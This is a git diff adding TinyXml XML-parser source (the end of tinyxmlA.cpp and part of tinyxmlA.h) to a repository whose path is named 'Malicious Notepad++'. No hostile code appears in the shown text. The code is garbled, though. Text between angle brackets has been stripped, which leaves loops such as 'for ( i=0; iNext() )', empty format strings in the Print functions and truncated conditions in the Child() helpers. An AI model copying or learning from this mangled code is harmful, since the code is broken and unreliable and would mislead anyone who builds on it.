+{ + TiXmlAttributeA* node = attributeSet.Find( name ); + if ( !node ) + return TIXMLA_NO_ATTRIBUTE; + + return node->QueryIntValue( ival ); +} + + +int TiXmlElementA::QueryDoubleAttribute( const char* name, double* dval ) const +{ + TiXmlAttributeA* node = attributeSet.Find( name ); + if ( !node ) + return TIXMLA_NO_ATTRIBUTE; + + return node->QueryDoubleValue( dval ); +} + + +void TiXmlElementA::SetAttribute( const char * name, int val ) +{ + char buf[64]; + sprintf( buf, "%d", val ); + SetAttribute( name, buf ); +} + + +void TiXmlElementA::SetAttribute( const char * name, const char * _value ) +{ + TiXmlAttributeA* node = attributeSet.Find( name ); + if ( node ) + { + node->SetValue( _value ); + return; + } + + TiXmlAttributeA* attrib = new TiXmlAttributeA( name, _value ); + if ( attrib ) + { + attributeSet.Add( attrib ); + } + else + { + TiXmlDocumentA* document = GetDocument(); + if ( document ) document->SetError( TIXMLA_ERROR_OUT_OF_MEMORY, 0, 0 ); + } +} + +void TiXmlElementA::Print( FILE* cfile, int depth ) const +{ + int i; + for ( i=0; iNext() ) + { + fprintf( cfile, " " ); + attrib->Print( cfile, depth ); + } + + // There are 3 different formatting approaches: + // 1) An element without children is printed as a node + // 2) An element with only a text child is printed as text + // 3) An element with children is printed on multiple lines. + TiXmlNodeA* node; + if ( !firstChild ) + { + fprintf( cfile, " />" ); + } + else if ( firstChild == lastChild && firstChild->ToText() ) + { + fprintf( cfile, ">" ); + firstChild->Print( cfile, depth + 1 ); + fprintf( cfile, "", value.c_str() ); + } + else + { + fprintf( cfile, ">" ); + + for ( node = firstChild; node; node=node->NextSibling() ) + { + if ( !node->ToText() ) + { + fprintf( cfile, "\n" ); + } + node->Print( cfile, depth+1 ); + } + fprintf( cfile, "\n" ); + for( i=0; i", value.c_str() ); + } +} + +void TiXmlElementA::StreamOut( TIXMLA_OSTREAM * stream ) const +{ + (*stream) << "<" << value; + + TiXmlAttributeA* attrib; + for ( attrib = attributeSet.First(); attrib; attrib = attrib->Next() ) + { + (*stream) << " "; + attrib->StreamOut( stream ); + } + + // If this node has children, give it a closing tag. Else + // make it an empty tag. + TiXmlNodeA* node; + if ( firstChild ) + { + (*stream) << ">"; + + for ( node = firstChild; node; node=node->NextSibling() ) + { + node->StreamOut( stream ); + } + (*stream) << ""; + } + else + { + (*stream) << " />"; + } +} + +TiXmlNodeA* TiXmlElementA::Clone() const +{ + TiXmlElementA* clone = new TiXmlElementA( Value() ); + if ( !clone ) + return 0; + + CopyToClone( clone ); + + // Clone the attributes, then clone the children. + TiXmlAttributeA* attribute = 0; + for( attribute = attributeSet.First(); + attribute; + attribute = attribute->Next() ) + { + clone->SetAttribute( attribute->Name(), attribute->Value() ); + } + + TiXmlNodeA* node = 0; + for ( node = firstChild; node; node = node->NextSibling() ) + { + clone->LinkEndChild( node->Clone() ); + } + return clone; +} + + +TiXmlDocumentA::TiXmlDocumentA() : TiXmlNodeA( TiXmlNodeA::DOCUMENT ) +{ + tabsize = 4; + ClearError(); +} + +TiXmlDocumentA::TiXmlDocumentA( const char * documentName ) : TiXmlNodeA( TiXmlNodeA::DOCUMENT ) +{ + tabsize = 4; + value = documentName; + ClearError(); +} + +bool TiXmlDocumentA::LoadFile() +{ + // See STL_STRING_BUG below. + StringToBuffer buf( value ); + + if ( buf.buffer && LoadFile( buf.buffer ) ) + return true; + + return false; +} + + +bool TiXmlDocumentA::SaveFile() const +{ + // See STL_STRING_BUG below. + StringToBuffer buf( value ); + + if ( buf.buffer && SaveFile( buf.buffer ) ) + return true; + + return false; +} + +bool TiXmlDocumentA::LoadFile( const char* filename ) +{ + // Delete the existing data: + Clear(); + location.Clear(); + + // There was a really terrifying little bug here. The code: + // value = filename + // in the STL case, cause the assignment method of the std::string to + // be called. What is strange, is that the std::string had the same + // address as it's c_str() method, and so bad things happen. Looks + // like a bug in the Microsoft STL implementation. + // See STL_STRING_BUG above. + // Fixed with the StringToBuffer class. + value = filename; + + FILE* file = fopen( value.c_str (), "r" ); + + if ( file ) + { + // Get the file size, so we can pre-allocate the string. HUGE speed impact. + long length = 0; + fseek( file, 0, SEEK_END ); + length = ftell( file ); + fseek( file, 0, SEEK_SET ); + + // Strange case, but good to handle up front. + if ( length == 0 ) + { + fclose( file ); + return false; + } + + // If we have a file, assume it is all one big XML file, and read it in. + // The document parser may decide the document ends sooner than the entire file, however. + TIXMLA_STRING data; + data.reserve( length ); + + const int BUF_SIZE = 2048; + char buf[BUF_SIZE]; + + while( fgets( buf, BUF_SIZE, file ) ) + { + data += buf; + } + fclose( file ); + + Parse( data.c_str(), 0 ); + + if ( Error() ) + return false; + else + return true; + } + SetError( TIXMLA_ERROR_OPENING_FILE, 0, 0 ); + return false; +} + +bool TiXmlDocumentA::LoadUnicodeFilePath( const TCHAR* filename ) +{ + + // Delete the existing data: + Clear(); + location.Clear(); + + // There was a really terrifying little bug here. The code: + // value = filename + // in the STL case, cause the assignment method of the string to + // be called. What is strange, is that the string had the same + // address as it's c_str() method, and so bad things happen. Looks + // like a bug in the Microsoft STL implementation. + // See STL_STRING_BUG above. + // Fixed with the StringToBuffer class. + + FILE* file = generic_fopen(filename, TEXT("r")); + + if ( file ) + { + // Get the file size, so we can pre-allocate the generic_string. HUGE speed impact. + long length = 0; + fseek( file, 0, SEEK_END ); + length = ftell( file ); + fseek( file, 0, SEEK_SET ); + + // Strange case, but good to handle up front. + if ( length == 0 ) + { + fclose( file ); + return false; + } + + // If we have a file, assume it is all one big XML file, and read it in. + // The document parser may decide the document ends sooner than the entire file, however. + TIXMLA_STRING data; + data.reserve( length ); + + const int BUF_SIZE = 2048; + char buf[BUF_SIZE]; + + while( fgets( buf, BUF_SIZE, file ) ) + { + data += buf; + } + fclose( file ); + + Parse( data.c_str(), 0 ); + + if ( Error() ) + return false; + else + return true; + } + SetError( TIXMLA_ERROR_OPENING_FILE, 0, 0 ); + return false; +} + +bool TiXmlDocumentA::SaveFile( const char * filename ) const +{ + // The old c stuff lives on... + FILE* fp = fopen( filename, "w" ); + if ( fp ) + { + Print( fp, 0 ); + fclose( fp ); + return true; + } + return false; +} +bool TiXmlDocumentA::SaveUnicodeFilePath( const TCHAR* filename ) const +{ + // The old c stuff lives on... + FILE* fp = generic_fopen( filename, TEXT("w") ); + if ( fp ) + { + Print( fp, 0 ); + fclose( fp ); + return true; + } + return false; +} + + +TiXmlNodeA* TiXmlDocumentA::Clone() const +{ + TiXmlDocumentA* clone = new TiXmlDocumentA(); + if ( !clone ) + return 0; + + CopyToClone( clone ); + clone->error = error; + clone->errorDesc = errorDesc.c_str (); + + TiXmlNodeA* node = 0; + for ( node = firstChild; node; node = node->NextSibling() ) + { + clone->LinkEndChild( node->Clone() ); + } + return clone; +} + + +void TiXmlDocumentA::Print( FILE* cfile, int depth ) const +{ + TiXmlNodeA* node; + for ( node=FirstChild(); node; node=node->NextSibling() ) + { + node->Print( cfile, depth ); + fprintf( cfile, "\n" ); + } +} + +void TiXmlDocumentA::StreamOut( TIXMLA_OSTREAM * out ) const +{ + TiXmlNodeA* node; + for ( node=FirstChild(); node; node=node->NextSibling() ) + { + node->StreamOut( out ); + + // Special rule for streams: stop after the root element. + // The stream in code will only read one element, so don't + // write more than one. + if ( node->ToElement() ) + break; + } +} + + +TiXmlAttributeA* TiXmlAttributeA::Next() const +{ + // We are using knowledge of the sentinel. The sentinel + // have a value or name. + if ( next->value.empty() && next->name.empty() ) + return 0; + return next; +} + + +TiXmlAttributeA* TiXmlAttributeA::Previous() const +{ + // We are using knowledge of the sentinel. The sentinel + // have a value or name. + if ( prev->value.empty() && prev->name.empty() ) + return 0; + return prev; +} + + +void TiXmlAttributeA::Print( FILE* cfile, int /*depth*/ ) const +{ + TIXMLA_STRING n, v; + + PutString( Name(), &n ); + PutString( Value(), &v ); + + if (value.find ('\"') == TIXMLA_STRING::npos) + fprintf (cfile, "%s=\"%s\"", n.c_str(), v.c_str() ); + else + fprintf (cfile, "%s='%s'", n.c_str(), v.c_str() ); +} + + +void TiXmlAttributeA::StreamOut( TIXMLA_OSTREAM * stream ) const +{ + if (value.find( '\"' ) != TIXMLA_STRING::npos) + { + PutString( name, stream ); + (*stream) << "=" << "'"; + PutString( value, stream ); + (*stream) << "'"; + } + else + { + PutString( name, stream ); + (*stream) << "=" << "\""; + PutString( value, stream ); + (*stream) << "\""; + } +} + +int TiXmlAttributeA::QueryIntValue( int* ival ) const +{ + if ( sscanf( value.c_str(), "%d", ival ) == 1 ) + return TIXMLA_SUCCESS; + return TIXMLA_WRONG_TYPE; +} + +int TiXmlAttributeA::QueryDoubleValue( double* dval ) const +{ + if ( sscanf( value.c_str(), "%lf", dval ) == 1 ) + return TIXMLA_SUCCESS; + return TIXMLA_WRONG_TYPE; +} + +void TiXmlAttributeA::SetIntValue( int _value ) +{ + char buf [64]; + sprintf (buf, "%d", _value); + SetValue (buf); +} + +void TiXmlAttributeA::SetDoubleValue( double _value ) +{ + char buf [64]; + sprintf (buf, "%lf", _value); + SetValue (buf); +} + +const int TiXmlAttributeA::IntValue() const +{ + return atoi (value.c_str ()); +} + +const double TiXmlAttributeA::DoubleValue() const +{ + return atof (value.c_str ()); +} + +void TiXmlCommentA::Print( FILE* cfile, int depth ) const +{ + for ( int i=0; i", value.c_str() ); +} + +void TiXmlCommentA::StreamOut( TIXMLA_OSTREAM * stream ) const +{ + (*stream) << ""; +} + +TiXmlNodeA* TiXmlCommentA::Clone() const +{ + TiXmlCommentA* clone = new TiXmlCommentA(); + + if ( !clone ) + return 0; + + CopyToClone( clone ); + return clone; +} + + +void TiXmlTextA::Print( FILE* cfile, int /*depth*/ ) const +{ + TIXMLA_STRING buffer; + PutString( value, &buffer ); + fprintf( cfile, "%s", buffer.c_str() ); +} + + +void TiXmlTextA::StreamOut( TIXMLA_OSTREAM * stream ) const +{ + PutString( value, stream ); +} + + +TiXmlNodeA* TiXmlTextA::Clone() const +{ + TiXmlTextA* clone = 0; + clone = new TiXmlTextA( "" ); + + if ( !clone ) + return 0; + + CopyToClone( clone ); + return clone; +} + + +TiXmlDeclarationA::TiXmlDeclarationA( const char * _version, + const char * _encoding, + const char * _standalone ) +: TiXmlNodeA( TiXmlNodeA::DECLARATION ) +{ + version = _version; + encoding = _encoding; + standalone = _standalone; +} + + +void TiXmlDeclarationA::Print( FILE* cfile, int /*depth*/ ) const +{ + fprintf (cfile, ""); +} + +void TiXmlDeclarationA::StreamOut( TIXMLA_OSTREAM * stream ) const +{ + (*stream) << ""; +} + +TiXmlNodeA* TiXmlDeclarationA::Clone() const +{ + TiXmlDeclarationA* clone = new TiXmlDeclarationA(); + + if ( !clone ) + return 0; + + CopyToClone( clone ); + clone->version = version; + clone->encoding = encoding; + clone->standalone = standalone; + return clone; +} + + +void TiXmlUnknownA::Print( FILE* cfile, int depth ) const +{ + for ( int i=0; i"; // Don't use entities hear! It is unknown. +} + +TiXmlNodeA* TiXmlUnknownA::Clone() const +{ + TiXmlUnknownA* clone = new TiXmlUnknownA(); + + if ( !clone ) + return 0; + + CopyToClone( clone ); + return clone; +} + + +TiXmlAttributeSetA::TiXmlAttributeSetA() +{ + sentinel.next = &sentinel; + sentinel.prev = &sentinel; +} + + +TiXmlAttributeSetA::~TiXmlAttributeSetA() +{ + assert( sentinel.next == &sentinel ); + assert( sentinel.prev == &sentinel ); +} + + +void TiXmlAttributeSetA::Add( TiXmlAttributeA* addMe ) +{ + assert( !Find( addMe->Name() ) ); // Shouldn't be multiply adding to the set. + + addMe->next = &sentinel; + addMe->prev = sentinel.prev; + + sentinel.prev->next = addMe; + sentinel.prev = addMe; +} + +void TiXmlAttributeSetA::Remove( TiXmlAttributeA* removeMe ) +{ + TiXmlAttributeA* node; + + for( node = sentinel.next; node != &sentinel; node = node->next ) + { + if ( node == removeMe ) + { + node->prev->next = node->next; + node->next->prev = node->prev; + node->next = 0; + node->prev = 0; + return; + } + } + assert( 0 ); // we tried to remove a non-linked attribute. +} + +TiXmlAttributeA* TiXmlAttributeSetA::Find( const char * name ) const +{ + TiXmlAttributeA* node; + + for( node = sentinel.next; node != &sentinel; node = node->next ) + { + if ( node->name == name ) + return node; + } + return 0; +} + + +#ifdef TIXMLA_USE_STL +TIXMLA_ISTREAM & operator >> (TIXMLA_ISTREAM & in, TiXmlNodeA & base) +{ + TIXMLA_STRING tag; + tag.reserve( 8 * 1000 ); + base.StreamIn( &in, &tag ); + + base.Parse( tag.c_str(), 0 ); + return in; +} +#endif + + +TIXMLA_OSTREAM & operator<< (TIXMLA_OSTREAM & out, const TiXmlNodeA & base) +{ + base.StreamOut (& out); + return out; +} + + +#ifdef TIXMLA_USE_STL +std::string & operator<< (std::string& out, const TiXmlNodeA& base ) +{ + std::ostringstream os_stream( std::ostringstream::out ); + base.StreamOut( &os_stream ); + + out.append( os_stream.str() ); + return out; +} +#endif + + +TiXmlHandleA TiXmlHandleA::FirstChild() const +{ + if ( node ) + { + TiXmlNodeA* child = node->FirstChild(); + if ( child ) + return TiXmlHandleA( child ); + } + return TiXmlHandleA( 0 ); +} + + +TiXmlHandleA TiXmlHandleA::FirstChild( const char * value ) const +{ + if ( node ) + { + TiXmlNodeA* child = node->FirstChild( value ); + if ( child ) + return TiXmlHandleA( child ); + } + return TiXmlHandleA( 0 ); +} + + +TiXmlHandleA TiXmlHandleA::FirstChildElement() const +{ + if ( node ) + { + TiXmlElementA* child = node->FirstChildElement(); + if ( child ) + return TiXmlHandleA( child ); + } + return TiXmlHandleA( 0 ); +} + + +TiXmlHandleA TiXmlHandleA::FirstChildElement( const char * value ) const +{ + if ( node ) + { + TiXmlElementA* child = node->FirstChildElement( value ); + if ( child ) + return TiXmlHandleA( child ); + } + return TiXmlHandleA( 0 ); +} + +TiXmlHandleA TiXmlHandleA::Child( int count ) const +{ + if ( node ) + { + int i; + TiXmlNodeA* child = node->FirstChild(); + for ( i=0; + child && iNextSibling(), ++i ) + { + // nothing + } + if ( child ) + return TiXmlHandleA( child ); + } + return TiXmlHandleA( 0 ); +} + + +TiXmlHandleA TiXmlHandleA::Child( const char* value, int count ) const +{ + if ( node ) + { + int i; + TiXmlNodeA* child = node->FirstChild( value ); + for ( i=0; + child && iNextSibling( value ), ++i ) + { + // nothing + } + if ( child ) + return TiXmlHandleA( child ); + } + return TiXmlHandleA( 0 ); +} + + +TiXmlHandleA TiXmlHandleA::ChildElement( int count ) const +{ + if ( node ) + { + int i; + TiXmlElementA* child = node->FirstChildElement(); + for ( i=0; + child && iNextSiblingElement(), ++i ) + { + // nothing + } + if ( child ) + return TiXmlHandleA( child ); + } + return TiXmlHandleA( 0 ); +} + + +TiXmlHandleA TiXmlHandleA::ChildElement( const char* value, int count ) const +{ + if ( node ) + { + int i; + TiXmlElementA* child = node->FirstChildElement( value ); + for ( i=0; + child && iNextSiblingElement( value ), ++i ) + { + // nothing + } + if ( child ) + return TiXmlHandleA( child ); + } + return TiXmlHandleA( 0 ); +} diff --git a/Malicious Notepad++/src/TinyXml/tinyXmlA/tinyxmlA.h b/Malicious Notepad++/src/TinyXml/tinyXmlA/tinyxmlA.h new file mode 100644 index 0000000..645c603 --- /dev/null +++ b/Malicious Notepad++/src/TinyXml/tinyXmlA/tinyxmlA.h @@ -0,0 +1,1266 @@ +/* +www.sourceforge.net/projects/tinyxml +Original code (2.0 and earlier )copyright (c) 2000-2002 Lee Thomason (www.grinninglizard.com) + +This software is provided 'as-is', without any express or implied +warranty. In no event will the authors be held liable for any +damages arising from the use of this software. + +Permission is granted to anyone to use this software for any +purpose, including commercial applications, and to alter it and +redistribute it freely, subject to the following restrictions: + +1. The origin of this software must not be misrepresented; you must +not claim that you wrote the original software. If you use this +software in a product, an acknowledgment in the product documentation +would be appreciated but is not required. + +2. Altered source versions must be plainly marked as such, and +must not be misrepresented as being the original software. + +3. This notice may not be removed or altered from any source +distribution. +*/ + + +#ifndef TINYXMLA_INCLUDED +#define TINYXMLA_INCLUDED + +#ifdef _MSC_VER +#pragma warning( push ) +#pragma warning( disable : 4458 ) // declaration of 'parameter' hides class member +#pragma warning( disable : 4530 ) +#pragma warning( disable : 4786 ) +#endif + + +// Help out windows: +#if defined( _DEBUG ) && !defined( DEBUG ) +#define DEBUG +#endif + +#if defined( DEBUG ) && defined( _MSC_VER ) +#include +#define TIXMLA_LOG OutputDebugString +#else +#define TIXMLA_LOG printf +#endif + +#ifdef TIXMLA_USE_STL + #define TIXMLA_STRING std::string + #define TIXMLA_ISTREAM std::istream + #define TIXMLA_OSTREAM std::ostream +#else + #include "tinystrA.h" + #define TIXMLA_STRING TiXmlStringA + #define TIXMLA_OSTREAM TiXmlOutStreamA +#endif + +#include +#include +#include +#include +#include "Common.h" + +class TiXmlDocumentA; +class TiXmlElementA; +class TiXmlCommentA; +class TiXmlUnknownA; +class TiXmlAttributeA; +class TiXmlTextA; +class TiXmlDeclarationA; + +class TiXmlParsingDataA; + +/* Internal structure for tracking location of items + in the XML file. +*/ +struct TiXmlCursorA +{ + TiXmlCursorA() { Clear(); } + void Clear() { row = col = -1; } + + int row; // 0 based. + int col; // 0 based. +}; + + +// Only used by Attribute::Query functions +enum +{ + TIXMLA_SUCCESS, + TIXMLA_NO_ATTRIBUTE, + TIXMLA_WRONG_TYPE +}; + +/** TiXmlBaseA is a base class for every class in TinyXml. + It does little except to establish that TinyXml classes + can be printed and provide some utility functions. + + In XML, the document and elements can contain + other elements and other types of nodes. + + @verbatim + A Document can contain: Element (container or leaf) + Comment (leaf) + Unknown (leaf) + Declaration( leaf ) + + An Element can contain: Element (container or leaf) + Text (leaf) + Attributes (not on tree) + Comment (leaf) + Unknown (leaf) + + A Decleration contains: Attributes (not on tree) + @endverbatim +*/ +class TiXmlBaseA +{ + friend class TiXmlNodeA; + friend class TiXmlElementA; + friend class TiXmlDocumentA; + +public: + TiXmlBaseA() {} + virtual ~TiXmlBaseA() {} + + /** All TinyXml classes can print themselves to a filestream. + This is a formatted print, and will insert tabs and newlines. + + (For an unformatted stream, use the << operator.) + */ + virtual void Print( FILE* cfile, int depth ) const = 0; + + /** The world does not agree on whether white space should be kept or + not. In order to make everyone happy, these global, static functions + are provided to set whether or not TinyXml will condense all white space + into a single space or not. The default is to condense. Note changing this + values is not thread safe. + */ + static void SetCondenseWhiteSpace( bool condense ) { condenseWhiteSpace = condense; } + + /// Return the current white space setting. + static bool IsWhiteSpaceCondensed() { return condenseWhiteSpace; } + + /** Return the position, in the original source file, of this node or attribute. + The row and column are 1-based. (That is the first row and first column is + 1,1). If the returns values are 0 or less, then the parser does not have + a row and column value. + + Generally, the row and column value will be set when the TiXmlDocumentA::Load(), + TiXmlDocumentA::LoadFile(), or any TiXmlNodeA::Parse() is called. It will NOT be set + when the DOM was created from operator>>. + + The values reflect the initial load. Once the DOM is modified programmatically + (by adding or changing nodes and attributes) the new values will NOT update to + reflect changes in the document. + + There is a minor performance cost to computing the row and column. Computation + can be disabled if TiXmlDocumentA::SetTabSize() is called with 0 as the value. + + @sa TiXmlDocumentA::SetTabSize() + */ + int Row() const { return location.row + 1; } + int Column() const { return location.col + 1; } ///< See Row() + +protected: + // See STL_STRING_BUG + // Utility class to overcome a bug. + class StringToBuffer + { + public: + StringToBuffer( const TIXMLA_STRING& str ); + ~StringToBuffer(); + char* buffer; + }; + + static const char* SkipWhiteSpace( const char* ); + inline static bool IsWhiteSpace( int c ) { return ( isspace( c ) || c == '\n' || c == '\r' ); } + + virtual void StreamOut (TIXMLA_OSTREAM *) const = 0; + + #ifdef TIXMLA_USE_STL + static bool StreamWhiteSpace( TIXMLA_ISTREAM * in, TIXMLA_STRING * tag ); + static bool StreamTo( TIXMLA_ISTREAM * in, int character, TIXMLA_STRING * tag ); + #endif + + /* Reads an XML name into the string provided. Returns + a pointer just past the last character of the name, + or 0 if the function has an error. + */ + static const char* ReadName( const char* p, TIXMLA_STRING* name ); + + /* Reads text. Returns a pointer past the given end tag. + Wickedly complex options, but it keeps the (sensitive) code in one place. + */ + static const char* ReadText( const char* in, // where to start + TIXMLA_STRING* text, // the string read + bool ignoreWhiteSpace, // whether to keep the white space + const char* endTag, // what ends this text + bool ignoreCase ); // whether to ignore case in the end tag + + virtual const char* Parse( const char* p, TiXmlParsingDataA* data ) = 0; + + // If an entity has been found, transform it into a character. + static const char* GetEntity( const char* in, char* value ); + + // Get a character, while interpreting entities. + inline static const char* GetChar( const char* p, char* _value ) + { + assert( p ); + if ( *p == '&' ) + { + return GetEntity( p, _value ); + } + else + { + *_value = *p; + return p+1; + } + } + + // Puts a string to a stream, expanding entities as it goes. + // Note this should not contian the '<', '>', etc, or they will be transformed into entities! + static void PutString( const TIXMLA_STRING& str, TIXMLA_OSTREAM* out ); + + static void PutString( const TIXMLA_STRING& str, TIXMLA_STRING* out ); + + // Return true if the next characters in the stream are any of the endTag sequences. + static bool StringEqual( const char* p, + const char* endTag, + bool ignoreCase ); + + + enum + { + TIXMLA_NO_ERROR = 0, + TIXMLA_ERROR, + TIXMLA_ERROR_OPENING_FILE, + TIXMLA_ERROR_OUT_OF_MEMORY, + TIXMLA_ERROR_PARSING_ELEMENT, + TIXMLA_ERROR_FAILED_TO_READ_ELEMENT_NAME, + TIXMLA_ERROR_READING_ELEMENT_VALUE, + TIXMLA_ERROR_READING_ATTRIBUTES, + TIXMLA_ERROR_PARSING_EMPTY, + TIXMLA_ERROR_READING_END_TAG, + TIXMLA_ERROR_PARSING_UNKNOWN, + TIXMLA_ERROR_PARSING_COMMENT, + TIXMLA_ERROR_PARSING_DECLARATION, + TIXMLA_ERROR_DOCUMENT_EMPTY, + + TIXMLA_ERROR_STRING_COUNT + }; + static const char* errorString[ TIXMLA_ERROR_STRING_COUNT ]; + + TiXmlCursorA location; + +private: + struct Entity + { + const char* str; + unsigned int strLength; + char chr; + }; + enum + { + NUM_ENTITY = 5, + MAX_ENTITY_LENGTH = 6 + + }; + static Entity entity[ NUM_ENTITY ]; + static bool condenseWhiteSpace; +}; + + +/** The parent class for everything in the Document Object Model. + (Except for attributes). + Nodes have siblings, a parent, and children. A node can be + in a document, or stand on its own. The type of a TiXmlNodeA + can be queried, and it can be cast to its more defined type. +*/ +class TiXmlNodeA : public TiXmlBaseA +{ + friend class TiXmlDocumentA; + friend class TiXmlElementA; + +public: + #ifdef TIXMLA_USE_STL + + /** An input stream operator, for every class. Tolerant of newlines and + formatting, but doesn't expect them. + */ + friend std::istream& operator >> (std::istream& in, TiXmlNodeA& base); + + /** An output stream operator, for every class. Note that this outputs + without any newlines or formatting, as opposed to Print(), which + includes tabs and new lines. + + The operator<< and operator>> are not completely symmetric. Writing + a node to a stream is very well defined. You'll get a nice stream + of output, without any extra whitespace or newlines. + + But reading is not as well defined. (As it always is.) If you create + a TiXmlElementA (for example) and read that from an input stream, + the text needs to define an element or junk will result. This is + true of all input streams, but it's worth keeping in mind. + + A TiXmlDocumentA will read nodes until it reads a root element, and + all the children of that root element. + */ + friend std::ostream& operator<< (std::ostream& out, const TiXmlNodeA& base); + + /// Appends the XML node or attribute to a std::string. + friend std::string& operator<< (std::string& out, const TiXmlNodeA& base ); + + #else + // Used internally, not part of the public API. + friend TIXMLA_OSTREAM& operator<< (TIXMLA_OSTREAM& out, const TiXmlNodeA& base); + #endif + + /** The types of XML nodes supported by TinyXml. (All the + unsupported types are picked up by UNKNOWN.) + */ + enum NodeType + { + DOCUMENT, + ELEMENT, + COMMENT, + UNKNOWN, + TEXT, + DECLARATION, + TYPECOUNT + }; + + virtual ~TiXmlNodeA(); + + /** The meaning of 'value' changes for the specific type of + TiXmlNodeA. + @verbatim + Document: filename of the xml file + Element: name of the element + Comment: the comment text + Unknown: the tag contents + Text: the text string + @endverbatim + + The subclasses will wrap this function. + */ + const char * Value() const { return value.c_str (); } + + /** Changes the value of the node. Defined as: + @verbatim + Document: filename of the xml file + Element: name of the element + Comment: the comment text + Unknown: the tag contents + Text: the text string + @endverbatim + */ + void SetValue(const char * _value) { value = _value;} + + #ifdef TIXMLA_USE_STL + /// STL std::string form. + void SetValue( const std::string& _value ) + { + StringToBuffer buf( _value ); + SetValue( buf.buffer ? buf.buffer : "" ); + } + #endif + + /// Delete all the children of this node. Does not affect 'this'. + void Clear(); + + /// One step up the DOM. + TiXmlNodeA* Parent() const { return parent; } + + TiXmlNodeA* FirstChild() const { return firstChild; } ///< The first child of this node. Will be null if there are no children. + TiXmlNodeA* FirstChild( const char * value ) const; ///< The first child of this node with the matching 'value'. Will be null if none found. + + TiXmlNodeA* LastChild() const { return lastChild; } /// The last child of this node. Will be null if there are no children. + TiXmlNodeA* LastChild( const char * value ) const; /// The last child of this node matching 'value'. Will be null if there are no children. + + #ifdef TIXMLA_USE_STL + TiXmlNodeA* FirstChild( const std::string& _value ) const { return FirstChild (_value.c_str ()); } ///< STL std::string form. + TiXmlNodeA* LastChild( const std::string& _value ) const { return LastChild (_value.c_str ()); } ///< STL std::string form. + #endif + + /** An alternate way to walk the children of a node. + One way to iterate over nodes is: + @verbatim + for( child = parent->FirstChild(); child; child = child->NextSibling() ) + @endverbatim + + IterateChildren does the same thing with the syntax: + @verbatim + child = 0; + while( child = parent->IterateChildren( child ) ) + @endverbatim + + IterateChildren takes the previous child as input and finds + the next one. If the previous child is null, it returns the + first. IterateChildren will return null when done. + */ + TiXmlNodeA* IterateChildren( TiXmlNodeA* previous ) const; + + /// This flavor of IterateChildren searches for children with a particular 'value' + TiXmlNodeA* IterateChildren( const char * value, TiXmlNodeA* previous ) const; + + #ifdef TIXMLA_USE_STL + TiXmlNodeA* IterateChildren( const std::string& _value, TiXmlNodeA* previous ) const { return IterateChildren (_value.c_str (), previous); } ///< STL std::string form. + #endif + + /** Add a new node related to this. Adds a child past the LastChild. + Returns a pointer to the new object or NULL if an error occured. + */ + TiXmlNodeA* InsertEndChild( const TiXmlNodeA& addThis ); + + + /** Add a new node related to this. Adds a child past the LastChild. + + NOTE: the node to be added is passed by pointer, and will be + henceforth owned (and deleted) by tinyXml. This method is efficient + and avoids an extra copy, but should be used with care as it + uses a different memory model than the other insert functions. + + @sa InsertEndChild + */ + TiXmlNodeA* LinkEndChild( TiXmlNodeA* addThis ); + + /** Add a new node related to this. Adds a child before the specified child. + Returns a pointer to the new object or NULL if an error occured. + */ + TiXmlNodeA* InsertBeforeChild( TiXmlNodeA* beforeThis, const TiXmlNodeA& addThis ); + + /** Add a new node related to this. Adds a child after the specified child. + Returns a pointer to the new object or NULL if an error occured. + */ + TiXmlNodeA* InsertAfterChild( TiXmlNodeA* afterThis, const TiXmlNodeA& addThis ); + + /** Replace a child of this node. + Returns a pointer to the new object or NULL if an error occured. + */ + TiXmlNodeA* ReplaceChild( TiXmlNodeA* replaceThis, const TiXmlNodeA& withThis ); + + /// Delete a child of this node. + bool RemoveChild( TiXmlNodeA* removeThis ); + + /// Navigate to a sibling node. + TiXmlNodeA* PreviousSibling() const { return prev; } + + /// Navigate to a sibling node. + TiXmlNodeA* PreviousSibling( const char * ) const; + + #ifdef TIXMLA_USE_STL + TiXmlNodeA* PreviousSibling( const std::string& _value ) const { return PreviousSibling (_value.c_str ()); } ///< STL std::string form. + TiXmlNodeA* NextSibling( const std::string& _value) const { return NextSibling (_value.c_str ()); } ///< STL std::string form. + #endif + + /// Navigate to a sibling node. + TiXmlNodeA* NextSibling() const { return next; } + + /// Navigate to a sibling node with the given 'value'. + TiXmlNodeA* NextSibling( const char * ) const; + + /** Convenience function to get through elements. + Calls NextSibling and ToElement. Will skip all non-Element + nodes. Returns 0 if there is not another element. + */ + TiXmlElementA* NextSiblingElement() const; + + /** Convenience function to get through elements. + Calls NextSibling and ToElement. Will skip all non-Element + nodes. Returns 0 if there is not another element. + */ + TiXmlElementA* NextSiblingElement( const char * ) const; + + #ifdef TIXMLA_USE_STL + TiXmlElementA* NextSiblingElement( const std::string& _value) const { return NextSiblingElement (_value.c_str ()); } ///< STL std::string form. + #endif + + /// Convenience function to get through elements. + TiXmlElementA* FirstChildElement() const; + + /// Convenience function to get through elements. + TiXmlElementA* FirstChildElement( const char * value ) const; + + #ifdef TIXMLA_USE_STL + TiXmlElementA* FirstChildElement( const std::string& _value ) const { return FirstChildElement (_value.c_str ()); } ///< STL std::string form. + #endif + + /** Query the type (as an enumerated value, above) of this node. + The possible types are: DOCUMENT, ELEMENT, COMMENT, + UNKNOWN, TEXT, and DECLARATION. + */ + virtual int Type() const { return type; } + + /** Return a pointer to the Document this node lives in. + Returns null if not in a document. + */ + TiXmlDocumentA* GetDocument() const; + + /// Returns true if this node has no children. + bool NoChildren() const { return !firstChild; } + + TiXmlDocumentA* ToDocument() const { return ( this && type == DOCUMENT ) ? (TiXmlDocumentA*) this : 0; } ///< Cast to a more defined type. Will return null not of the requested type. + TiXmlElementA* ToElement() const { return ( this && type == ELEMENT ) ? (TiXmlElementA*) this : 0; } ///< Cast to a more defined type. Will return null not of the requested type. + TiXmlCommentA* ToComment() const { return ( this && type == COMMENT ) ? (TiXmlCommentA*) this : 0; } ///< Cast to a more defined type. Will return null not of the requested type. + TiXmlUnknownA* ToUnknown() const { return ( this && type == UNKNOWN ) ? (TiXmlUnknownA*) this : 0; } ///< Cast to a more defined type. Will return null not of the requested type. + TiXmlTextA* ToText() const { return ( this && type == TEXT ) ? (TiXmlTextA*) this : 0; } ///< Cast to a more defined type. Will return null not of the requested type. + TiXmlDeclarationA* ToDeclaration() const { return ( this && type == DECLARATION ) ? (TiXmlDeclarationA*) this : 0; } ///< Cast to a more defined type. Will return null not of the requested type. + + virtual TiXmlNodeA* Clone() const = 0; + + void SetUserData( void* user ) { userData = user; } + void* GetUserData() { return userData; } + +protected: + TiXmlNodeA( NodeType type ); + + #ifdef TIXMLA_USE_STL + // The real work of the input operator. + virtual void StreamIn( TIXMLA_ISTREAM* in, 